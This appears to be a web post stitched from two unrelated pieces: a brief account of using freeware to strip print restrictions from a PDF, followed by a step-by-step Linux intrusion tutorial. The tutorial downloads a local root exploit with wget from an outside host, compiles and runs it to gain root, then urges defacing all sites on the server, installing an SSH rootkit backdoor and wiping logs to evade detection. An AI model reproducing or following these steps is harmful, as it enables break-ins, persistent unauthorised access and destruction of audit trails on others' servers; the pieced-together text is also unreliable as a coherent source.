Remove restriction from pdf file
How to remove restrictions from pdf files [like print option disabled etc..]
Today i downloaded a pdf file of 38mb size. but when i tried to print it..the print option was disabled. i tried to remove the restriction by means of converting the file to doc.. but it was not getting converted . i googled for restriction removal software but they all were asking for $.so finally google helped me and i found a software [freeware] which worked.
download link:
actually it makes a copy of the file whose restrictions is to be removed in the same folder. then u will have a duplicate file [a copy] with no restrictions at all. i saved 1600 Rs. by that downloaded document and 24$ for not purchasing restriction removal tool and using this freeware. Thak god!!

We can find writable folders/files by typing:
find / -perm -2 -ls
We can use the /tmp folder which is a standard writable folder
We type: cd /tmp
To download the local root exploit we can use a download command for linux like
wget.
For example:
wget http://www.arblan.com/localroot/h00lyshit.c
where http://www.arblan.com/localroot/h00lyshit.c is the url of h00lyshit.
After the download we must compile the exploit (Read the instruction of the exploit
before the compile)
For the h00lyshit we must type:
gcc h00lyshit.c -o h00lyshit
Now we have created the executable file: h00lyshit.
The command to run this exploit is:
./h00lyshit
We need a very big file on the disk in order to run successfully and to get root.
We must create a big file in /tmp or into another writable folder.
The command is:
dd if=/dev/urandom of=largefile count=2M
where largefile is the filename.
We must wait 2-3 minutes for the file creation
If this command fails we can try:
dd if=/dev/zero of=/tmp/largefile count=102400 bs=1024
Now we can procced to the last step. We can run the exploit by typing:
./h00lyshit largefile or
./h00lyshit /tmp/largefile
(If we are in a different writable folder and the largefile is created in /tmp)
If there are not running errors (maybe the kernel is patched or is something wrong with
exploit run or large file) we will get root
To check if we got root:
id or
whoami
If it says root we got root!
Now we can deface/mass deface all the sites of the server or to setup a rootkit (e.g.
SSHDoor) and to take ssh/telnet shell access to the server.
We must erase all logs in order to be safe with a log cleaner. A good cleaner for this
job is the MIG Log Cleaner.
